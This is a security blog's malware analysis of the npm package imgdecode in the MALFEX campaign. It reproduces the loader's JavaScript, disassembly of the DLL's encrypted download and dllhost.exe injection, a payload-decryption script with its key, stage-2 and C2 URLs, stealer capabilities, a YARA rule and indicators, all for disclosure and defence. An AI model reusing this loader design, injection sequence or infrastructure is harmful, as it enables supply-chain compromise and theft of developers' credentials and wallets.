MALFEX Moves Its npm Loader into a Native Windows DLL
On this page
The npm package imgdecode hides a malicious loader in a compiled Node.js addon.
Its nine-line JavaScript file loads a Windows dynamic-link library (DLL).
When a Node.js program calls require('imgdecode') from a Windows console, the DLL attempts to download
encrypted shellcode from GitHub. It decrypts the response and injects the result into a new dllhost.exe
process. This code does not need an install script. On 2026-10-13, the package was still available on npm.
imgdecode is part of MALFEX, a malicious npm campaign that Checkmarx, CloudSEK, and other
researchers disclosed in early October 2026. Those reports describe a chain of JavaScript packages.
They do not name imgdecode. SafeDep found that the operator replaced each removed JavaScript
loader with a new package, and then moved the loader logic into a native Node.js addon. The operator
published version 1.0.3 on 2026-10-11, six days after the Checkmarx report. A related payload
chain leads to the MALFEX Windows stealer and remote access tool (RAT). SafeDep did not recover
banner.jpg, so the native loader’s link to that payload remains an inference.
Summary
- Package:
pkg:npm/imgdecode, versions 1.0.0 to 1.0.3, publishermalfexteste8. - Trigger:
require('imgdecode')loadsprebuilds/win32-x64/imgdecode.node. From version 1.0.1, the addon runs the loader in the N-API module initialization function. No install script is necessary. - Condition: the addon runs only when standard output is an interactive Windows console. CI jobs and sandboxes with redirected output do not trigger it.
- Payload delivery: the addon downloads
hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg, decrypts it with AES-256-CBC, and injects the result into a suspendeddllhost.exe. - Related payload: the recovered
banner.pngcontains a Go downloader forhxxp://104.234.65[.]75:700/setup.exe, a 71.5 MB MALFEX stealer and RAT. The server still served this file on 2026-10-13. SafeDep has not confirmed thatbanner.jpgdelivers the same payload. - Response: incident responders should treat a Windows workstation that loaded
imgdecodeas potentially compromised.
Campaign background
MALFEX is an npm campaign that targets Windows developers. Public reports link it to a Portuguese-speaking operator. Checkmarx published its analysis on 2026-10-05. CloudSEK, Orca Security, and The Hacker News also reported on the campaign. The reports list eight packages, an Overlord RAT branch, and a “stealer chain” with three roles:
- Fetch.
cdn-img-fetchdownloads an encrypted blob from the GitHub repositorycavecrew/proj. - Decrypt.
img-to-nativedecrypts the blob and writes an executable to disk. - Run.
native-runnerstarts the executable.
The fetch package, the GitHub staging location, and the stage-2 downloader in this analysis are the
same as in the Checkmarx report. The SHA-256 hash of the stage-2 downloader that SafeDep recovered,
2f268ca7…, is in the Checkmarx indicator list. This connects imgdecode to MALFEX with high
confidence.
Timeline of the replacement packages
npm removed native-runner and img-to-native on 2026-09-28. The operator published replacements
within two days. Each replacement did the same job as the removed package, with a different method.
| Date (UTC) | Event |
|---|---|
| 2026-09-26 | cdn-img-fetch, img-to-native, and native-runner 1.0.0 published |
| 2026-09-28 16:06 | npm removes native-runner and img-to-native |
| 2026-09-30 03:29 | imgbundle 1.0.0 published (decrypt role, replaces img-to-native) |
| 2026-09-30 03:37 | runhelper 1.0.0 published (run role, executes shellcode through koffi) |
| 2026-09-30 16:13 | runhelper unpublished |
| 2026-09-30 22:32 | imgdecode 1.0.0 published (run role, native addon) |
| 2026-09-30 23:07 | imgdecode 1.0.1 published (addon does fetch, decrypt, and run) |
| 2026-10-01 17:48 | imgdecode 1.0.2 published |
| 2026-10-05 | Checkmarx publishes the MALFEX analysis |
| 2026-10-07 23:06 | npm removes imgbundle |
| 2026-10-08 13:03 | npm removes cdn-img-fetch |
| 2026-10-11 22:09 | imgdecode 1.0.3 published (same DLL as 1.0.2, imgbundle dependency gone) |
The operator used three packages to run the payload. native-runner started an executable from disk.
The Open Source Vulnerabilities (OSV) database describes how runhelper used the koffi foreign function interface (FFI).
It called VirtualAlloc, RtlMoveMemory, and CreateThread from JavaScript.
Six hours after runhelper was unpublished, the operator published imgdecode with a compiled DLL to run the shellcode.
From version 1.0.1, the DLL also downloads and decrypts the payload.
Versions 1.0.1 and 1.0.2 still call require('imgbundle') before loading the DLL. Version 1.0.3 removes
that dependency and needs no other MALFEX package.
Package entry point
The current index.js loads the native addon and exports a function that returns null:
try {
require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
try { require('./build/Release/imgdecode.node'); } catch (_) {}
}
function load() { return null; }
module.exports = { load }; The archived manifest has no install script, and the tarball has no binding.gyp file:
{
"name": "imgdecode",
"version": "1.0.3",
"description": "Native image buffer decoder for Node.js build pipelines",
"main": "index.js",
"keywords": ["image", "decode", "buffer", "native", "addon", "pipeline"],
"author": "build-tools-community",
"license": "MIT",
"files": [
"index.js",
"readme.md",
"prebuilds"
]
} The README shows an exec() function that spawns a program. Version 1.0.3 does not export that
function. The runhelper OSV record describes the same misleading documentation.
Version 1.0.0 used a different design. The JavaScript waited for imgbundle to write a decrypted
file, then passed the bytes to the addon through a decode() export. It also checked
process.stdout.isTTY, which is the JavaScript form of the console check in the later DLL.
require('imgbundle');
const fs = require('fs');
const path = require('path');
const { getAsset } = require('imgbundle');
let native = null;
try {
native = require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
try { native = require('./build/Release/imgdecode.node'); } catch (_) {}
}
function load() {
const asset = getAsset();
if (!asset || !fs.existsSync(asset)) return null;
const buf = fs.readFileSync(asset);
if (native && native.decode) native.decode(buf);
return { path: asset, size: buf.length };
}
if (process.stdout && process.stdout.isTTY) {
try {
if (!load()) {
const dir = path.join(path.dirname(require.resolve('cdn-img-fetch')), '.runtime');
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
const w = fs.watch(dir, () => {
if (load()) try { w.close(); } catch (_) {}
});
}
} catch (_) {}
} Installation and execution
The saved npm registry metadata lists install: node-gyp rebuild. The archived package.json
omits that script, and the archive has no binding.gyp. SafeDep has not confirmed how npm handles
this metadata mismatch during installation.
The malicious code does not need a build step. The package contains the prebuilt DLL and loads it
with require(). If the package is present, controls that only block install scripts do not stop
this execution path.
Native addon
The addon is a 64-bit Microsoft Visual C++ (MSVC) DLL that uses node-addon-api. All three builds
have the same program database (PDB) path:
C:\Users\Administrator\Desktop\npm\imgdecode\build\Release\imgdecode.pdbThe DLL exports napi_register_module_v1. Node.js calls this function when it loads the module. The
function calls the malicious routine before it returns the module exports. This analysis uses
version 1.0.3 (a5394626…), which is the same file as 1.0.2.
Console check
The routine first gets the standard output handle and calls GetConsoleMode. If the call fails, the
routine returns without running the loader. GetConsoleMode fails when output goes to a pipe or a file.
CI runners, automated sandboxes, and build tools often redirect output this way.
Inference: this check favors execution from a developer’s terminal.
; imgdecode.node 1.0.3, fcn.180009450 (called from the N-API module init)
0x18000948b mov ecx, 0xfffffff5 ; STD_OUTPUT_HANDLE (-11)
0x180009490 call [KERNEL32!GetStdHandle]
0x18000949e lea rcx, [rax - 1]
0x1800094a2 cmp rcx, 0xfffffffffffffffd ; NULL or INVALID_HANDLE_VALUE?
0x1800094a6 ja 0x180009799 ; yes: return, do nothing
0x1800094b4 call [KERNEL32!GetConsoleMode]
0x1800094ba test eax, eax
0x1800094bc je 0x180009799 ; stdout is not a console: return
; build the URL: 16-byte blocks XOR 0x37
0x1800094cf movdqa xmm2, [0x18008af90] ; 16 x 0x37
0x1800094db xorps xmm0, [0x18008b070] ; "https://raw.gith"
0x1800094eb xorps xmm1, [0x18008b030] ; "ubusercontent.co"
0x1800094fb xorps xmm0, [0x18008af70] ; "m/cavecrew/proj/"
0x180009510 xor byte [rbp + rax - 0x70], 0x37 ; tail: "main/banner.jpg"
0x18000951e movdqa xmm0, [0x18008af30]
0x18000952a xorps xmm0, xmm2 ; "nif-runtime-2027"
0x18000954e lea rcx, "Mozilla/5.0"
0x180009555 call [WININET!InternetOpenA]
0x18000956c mov dword [var_18h], 0x80800000 ; INTERNET_FLAG_RELOAD | NO_CACHE_WRITE
0x180009581 call [WININET!InternetOpenUrlA] Encoded strings
The DLL encodes strings with a one-byte XOR key, 0x37. It stores long strings as 16-byte blocks in .rdata.
It decodes those blocks with xorps against a block of 0x37 bytes.
It builds short strings on the stack and decodes them in a loop. The decoded values are:
| Purpose | Decoded value |
|---|---|
| Payload URL | hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg |
| Key passphrase | nif-runtime-2027 |
| Module | kernel32.dll |
| Injection target | \dllhost.exe (added to the system directory) |
| Resolved functions | CreateProcessW, VirtualAllocEx, WriteProcessMemory, |
VirtualProtectEx, CreateRemoteThread, ResumeThread, | |
TerminateProcess, GetSystemDirectoryW, CloseHandle, Sleep |
The DLL resolves the main functions used for process injection at runtime with GetProcAddress.
The import table includes WinINet, bcrypt.dll, and KERNEL32.dll functions such as
GetConsoleMode, VirtualProtect, and TerminateProcess.
Download and decryption
The DLL downloads the payload with WinINet and the user agent Mozilla/5.0.
It keeps the response in memory. It decrypts the response with the Windows Cryptography API: Next Generation (CNG):
- The AES-256 key is the SHA-256 hash of
nif-runtime-2027. - The mode is cipher block chaining (CBC).
- The first 16 bytes of the response are the initialization vector (IV). The remaining bytes are the ciphertext.
; imgdecode.node 1.0.3, fcn.1800090d0
0x180009107 cmp r9d, 0x20 ; body must be longer than 32 bytes
0x180009114 lea rdx, u"SHA256"
0x18000913c call BCryptOpenAlgorithmProvider
0x180009180 call BCryptHashData ; SHA-256("nif-runtime-2027")
0x18000919e call BCryptFinishHash ; 32-byte AES key
0x1800091ae lea rdx, u"AES"
0x1800091cd lea r8, u"ChainingModeCBC"
0x1800091e6 call BCryptSetProperty
0x180009217 call BCryptGenerateSymmetricKey
0x180009230 lea rdx, [r13 + 0x10] ; ciphertext = body[16:]
0x180009238 lea ebx, [r14 - 0x10] ; ciphertext size = body size - 16 (IV = body[0:16])
0x180009279 call BCryptDecrypt The imgbundle and img-to-native OSV records give the same passphrase. Checkmarx and CloudSEK
give the img-to-native key as malfexteam2027. SafeDep decrypted the recovered payload only with
nif-runtime-2027.
Image check
After decryption, the DLL checks the first bytes of the plaintext. If they match a JPEG or PNG signature, the DLL stops. Inference: the operator could turn the loader off by serving encrypted content that decrypts to an image. Serving an ordinary image would instead generally cause decryption to fail before this check.
; imgdecode.node 1.0.3, fcn.180009450, after decryption
0x18000966e cmp byte [rbx], 0xff
0x180009673 cmp byte [rbx + 1], 0xd8 ; FF D8 = JPEG
0x180009677 je 0x180009719 ; real image: free buffer, stop
0x180009683 cmp byte [rbx], 0x89
0x180009688 cmp byte [rbx + 1], 0x50
0x18000968e cmp byte [rbx + 2], 0x4e
0x180009694 cmp byte [rbx + 3], 0x47 ; 89 'P' 'N' 'G' = PNG
0x180009698 je 0x180009719 ; real image: free buffer, stop
0x1800096ce lea rcx, "kernel32.dll" ; decoded with XOR 0x37
0x1800096d3 call [KERNEL32!GetModuleHandleA]
0x1800096fd call fcn.180009b50 ; inject into dllhost.exe
0x180009704 jne 0x180009714
0x18000970f call fcn.1800098e0 ; fallback: run in node.exe Injection into dllhost.exe
For any other content, the DLL starts %SystemRoot%\System32\dllhost.exe in a suspended state, with
no window and no console. It then:
- Allocates read-write memory in the new process with
VirtualAllocEx. - Copies the decrypted bytes with
WriteProcessMemoryand checks that it wrote all bytes. - Changes the memory protection to execute-read with
VirtualProtectEx. - Starts a remote thread at the first byte of the buffer with
CreateRemoteThread. - Closes the handles and sleeps for 800 milliseconds.
The main thread of dllhost.exe stays suspended. The loader starts only the injected thread.
If the injector reports failure, a fallback routine attempts to run the same bytes inside the Node.js
process with VirtualAlloc, RtlMoveMemory, VirtualProtect, and CreateThread.
The injector does not check the return value of VirtualProtectEx before calling CreateRemoteThread.
; imgdecode.node 1.0.3, fcn.180009b50
; API pointers come from GetProcAddress. Names are XOR 0x37 stack strings.
0x180009e27 call rsi ; GetSystemDirectoryW(buf, 260)
0x180009e3d mov dword [var_10h], 0x5b5b536b ; XOR 0x37 -> "\dllhost.exe"
0x180009e60 xor byte [rbp + rax + 0x10], 0x37
0x180009efe mov dword [var_sp_28h], 0x800020c ; CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP
; | DETACHED_PROCESS | CREATE_SUSPENDED
0x180009f10 mov dword [var_60h_2], 0x68 ; STARTUPINFOW.cb
0x180009f1b mov dword [var_24h_2], 1 ; STARTF_USESHOWWINDOW, wShowWindow = SW_HIDE
0x180009f2f call [CreateProcessW]
0x180009f3c mov r9d, 0x3000 ; MEM_COMMIT | MEM_RESERVE
0x180009f45 mov dword [var_20h_2], 4 ; PAGE_READWRITE
0x180009f4f call r12 ; VirtualAllocEx
0x180009fc3 call r13 ; WriteProcessMemory
0x180009fca cmp qword [var_sp_78h], r14 ; all bytes written?
0x180009fdb mov r9d, 0x20 ; PAGE_EXECUTE_READ
0x180009ff1 call [VirtualProtectEx]
0x18000a010 call [CreateRemoteThread] ; start address = remote buffer
0x18000a01f call rbx ; CloseHandle (x3)
0x18000a034 mov ecx, 0x320
0x18000a039 call r15 ; Sleep(800) The thread starts at offset zero of the buffer. The decrypted payload must therefore start with executable
shellcode, rather than an ordinary Portable Executable (PE) file header.
The runhelper OSV record describes the same requirement for its rt.jpg file.
Recovering the payload chain
The first download stage
At the start of the analysis, SafeDep could no longer access the GitHub account cavecrew.
Requests for banner.jpg returned HTTP 404.
The Internet Archive has a capture of the sibling file banner.png from 2026-10-06. The JavaScript
stage of the chain used this file. It is a 1x1 PNG image followed by a 4-byte big-endian length
and about 8 MB of base64 text. The text decrypts with the same key and the same IV layout. The
script below supports both file formats:
# SafeDep reproduction of the MALFEX payload decryption
import base64, hashlib, struct, sys
from Crypto.Cipher import AES
KEY = hashlib.sha256(b'nif-runtime-2027').digest()
data = open(sys.argv[1], 'rb').read()
if data[:8] == b'\x89PNG\r\n\x1a\n':
# JS-era carrier: PNG, then u32 big-endian length, then base64 text
end = data.find(b'IEND') + 8
size = struct.unpack('>I', data[end:end + 4])[0]
body = base64.b64decode(data[end + 4:end + 4 + size])
else:
# DLL-era banner.jpg: raw IV || ciphertext
body = data
iv, ct = body[:16], body[16:]
pt = AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]] # PKCS#7
open(sys.argv[2], 'wb').write(pt) The plaintext is a 6.17 MB Windows executable, SHA-256 2f268ca7…. This is the same file as the
“stealer chain downloader (26 Sep)” in the Checkmarx indicator list. SafeDep did not recover
banner.jpg. Inference: the shared GitHub repository and encryption key suggest that banner.jpg
may deliver the same downloader. The native loader’s next stage remains unconfirmed.
Stage 2, a Go downloader
The executable is a Go 1.27.1 program with the module name downloader. It downloads one file and
runs it:
path downloader
mod downloader (devel)
build -buildmode=exe
build -compiler=gc
build -ldflags="-s -w -H windowsgui"
build CGO_ENABLED=0
build GOARCH=amd64
build GOOS=windows
http://104.234.65.75:700/setup.exe
svc_update.exe Stage 3, a stealer and remote access tool
On 2026-10-13, hxxp://104.234.65[.]75:700/setup.exe still served a 71.5 MB file. The IP address is
in AS265919 (BB Host LTDA) in São Paulo, Brazil. The file is a Node.js 18 application packed with
pkg. Its internal name is movinlike. The application code is V8 bytecode, so SafeDep analyzed
it from string tables. The packed .env file contains the command-and-control (C2) address and a license key:
# C:\snapshot\src-clean\.env (pkg virtual file system)
NPM_API=http://104.234.65.75:7007
NPM_LICENSE=MALFEX-89BEE69BB61967AF1C3B07C9
NPM_RAT=1
# C:\snapshot\src-clean\package.json (excerpt)
"name": "movinlike",
"version": "1.0.0",
"description": "movinlike", Inference: the license key may indicate a malware builder or licensing system. This build (8d50cb1b…) is not the
movinlike sample in the Checkmarx report (c9c374af…). SafeDep collected this different build after
disclosure, but its build date is unknown. Most identifiers in the code are Portuguese, for example
senhas (passwords), carteiras (wallets), areia (sandbox), and exfiltra.
The following capabilities are inferences from string tables and embedded scripts. SafeDep did not
recover the bytecode control flow or confirm successful execution:
- Anti-analysis. Checks for virtual machines, sandbox user names, and analysis tools such as
x64dbg,procmon, andwireshark. - Browser data. Targets Chromium passwords and cookies. Code for recovering the Chrome app-bound
encryption key includes a SYSTEM scheduled task that runs PowerShell and a call to the Chrome
IElevatorComponent Object Model (COM) interface. The evidence does not establish which path runs or whether it succeeds with the available privileges. - Discord. Extracts tokens and patches
discord_desktop_core/index.jsto send login, password change, and email change data to a webhook. - Wallets and games. Copies data from browser wallet extensions, desktop wallets, Steam, Epic Games, Riot, Battle.net, Minecraft, Ubisoft, and Telegram Desktop.
- Files. Collects files with names that match
seed,mnemonic,wallet,secret,token,senha, and similar words, and files such as.kdbx,.pem,.ppk, and.env. - RAT. Connects to
ws://104.234.65[.]75:7007/agent?license=…and accepts commands for shell execution, file transfer, process control, clipboard access, screenshots, and mouse and keyboard input. - Persistence. Copies itself to
%APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exeand adds a Run key and a scheduled task namedMicrosoftEdgeUpdateService. - Anti-forensics. Edits records in Security and Sysmon event log (EVTX) files and recalculates their checksums. It also deletes the PowerShell history file.
The upload strings specify malfex.zip and /about/sendRouter on port 7007.
Exposure
SafeDep searched public GitHub code, lock files, and commits for imgdecode, imgbundle, and the
other MALFEX package names. The searches found no public project that declares them as dependencies.
The deps.dev results showed no dependent packages. npm counted 929 downloads of imgdecode from 2026-09-30 to 2026-10-12.
Most downloads occurred on release days. Registry mirrors and scanners could explain those
spikes, but the counts do not distinguish automated downloads from users. The number of affected
workstations is unknown, and public searches do not cover private consumers.
Detection
A precompiled .node file alone does not indicate malware.
These signals can help identify this loader when they occur together:
- A
prebuilds/DLL in a package that has no native source and nobinding.gypfile. - A native addon that imports WinINet or WinHTTP and
bcrypt.dll, but has no image codec code. node.exeas the parent process ofdllhost.exe, with no/Processid:argument.- A
node.execonnection toraw.githubusercontent.comfollowed by adllhost.execonnection to an unknown host.
The YARA rule below matches all three imgdecode DLL builds. It does not match the stage-2 and
stage-3 files or the legitimate better-sqlite3, koffi, and rookie-cookies addons that SafeDep
tested.
rule MALFEX_imgdecode_native_addon
{
meta:
description = "MALFEX imgdecode Node.js native addon that downloads, decrypts, and injects shellcode"
author = "SafeDep"
date = "2026-10-13"
reference = "pkg:npm/imgdecode"
strings:
// "nif-runtime-2027" XOR 0x37
$key_x37 = { 59 5E 51 1A 45 42 59 43 5E 5A 52 1A 05 07 05 00 }
// "https://raw.gith" XOR 0x37
$url_x37 = { 5F 43 43 47 44 0D 18 18 45 56 40 19 50 5E 43 5F }
// "WriteProcessMemo" XOR 0x37
$wpm_x37 = { 60 45 5E 43 52 67 45 58 54 52 44 44 7A 52 5A 58 }
// "CreateRemoteThre" XOR 0x37
$crt_x37 = { 74 45 52 56 43 52 65 52 5A 58 43 52 63 5F 45 52 }
$napi = "napi_register_module_v1" ascii
$pdb = "\\npm\\imgdecode\\build\\Release\\imgdecode.pdb" ascii
condition:
uint16(0) == 0x5A4D and $napi and ($pdb or 2 of ($key_x37, $url_x37, $wpm_x37, $crt_x37))
} Indicators of compromise
| Indicator | Type |
|---|---|
imgdecode 1.0.0, 1.0.1, 1.0.2, 1.0.3 | npm package |
imgbundle 1.0.0 to 1.0.2, runhelper 1.0.0 | npm packages (removed) |
malfexteste8, trelicas.flexionar_4q@icloud[.]com | npm publisher |
hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg | Shellcode download (AES-256-CBC) |
hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.png | JavaScript-stage carrier |
hxxp://104.234.65[.]75:700/setup.exe | Stage 3 download |
104.234.65[.]75:7007, paths /about/sendRouter, /about/discord | Stealer upload API |
ws://104.234.65[.]75:7007/agent | RAT WebSocket |
MALFEX-89BEE69BB61967AF1C3B07C9 | Stealer license key |
nif-runtime-2027 | AES key passphrase (SHA-256) |
%TEMP%\svc_update.exe | Stage 3 file name |
%APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe | Persistence copy |
MicrosoftEdgeUpdateService | Run key value and scheduled task |
| SHA-256 | File |
|---|---|
d7b2f6d7da81301e7f76d6812d78f4a453439141d419831522ebf7cf5bf1c714 | imgdecode.node (1.0.0) |
54d995c5be97408e96db72ecc27af1dd65716f96371df085c4ce681dca623d85 | imgdecode.node (1.0.1) |
a53946269ffcd25c7fe1fad358c189f144dcca4d736f2b5a8ebc517a8d929dd1 | imgdecode.node (1.0.2, 1.0.3) |
4f4f7d64139bde6d458a061c7fb7dd247f70f60a1ab47d87fd3634656586c106 | banner.png (archived carrier) |
2f268ca76ab27971d8b16bd4ded26e1f9cd3d4460b894af2d4bdf89f0ab7ec4b | Stage 2 Go downloader |
8d50cb1ba0c2a16a673a2d08a8fb5c45bd8755c95c30ded98a84c74bfe52c9e6 | Stage 3 setup.exe (MALFEX stealer) |
Response
Incident responders should treat a Windows workstation that loaded imgdecode, imgbundle, runhelper,
or another MALFEX package as potentially compromised.
- Responders should isolate the workstation and collect memory before a reboot. The native loader runs shellcode in memory.
- Responders should check for the persistence entries listed above and for
node.exechild processes nameddllhost.exe. - Account owners should rotate credentials that the workstation stored or used. These include browser passwords, session cookies, Discord tokens, cloud keys, SSH keys, and npm and GitHub tokens.
- Wallet owners should transfer funds to new wallets if the workstation held their seed phrases.
- Responders should compare local Security and Sysmon event logs with external logs. The recovered stealer contains evidence of log-tampering capability, so local logs may be incomplete.
References
- Checkmarx Zero, MALFEX npm malware campaign analysis (2026-10-05): https://checkmarx.com/zero-post/malfex-npm-malware-campaign-three-payloads-and-an-adversary-that-signs-their-work/
- OSV, MAL-2026-17330 (
imgbundle): https://osv.dev/vulnerability/MAL-2026-17330 - OSV, MAL-2026-17332 (
runhelper): https://osv.dev/vulnerability/MAL-2026-17332 - OSV, MAL-2026-17320 (
cdn-img-fetch): https://osv.dev/vulnerability/MAL-2026-17320 - OSV, MAL-2026-17216 (
img-to-native): https://osv.dev/vulnerability/MAL-2026-17216 - OSV, MAL-2026-17218 (
native-runner): https://osv.dev/vulnerability/MAL-2026-17218 - npm registry,
imgdecode: https://www.npmjs.com/package/imgdecode - Node.js documentation, “Node-API”: https://nodejs.org/api/n-api.html
- Microsoft documentation, “GetConsoleMode function”: https://learn.microsoft.com/en-us/windows/console/getconsolemode
- npm
- malware
- supply-chain
- malfex
- native-addon
- windows
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
ASOS App Hack: Attackers Used Push Notifications to Send a Ransom Note
Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do.
42 Malicious RubyGems Open a Reverse Shell at Install Time
One RubyGems account published 42 gems that run code during gem install. On a developer workstation, the gems open a reverse shell or download a second stage. They do nothing on CI runners and...
tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud
[email protected] on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it.
An Attacker Hijacked an AI Coding Assistant to Spread a Worm
An attacker took over a live AI coding assistant session, got it to recommend a poisoned package, and used the stolen tokens to spread the Shai-Hulud worm across about 100 internal repositories.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.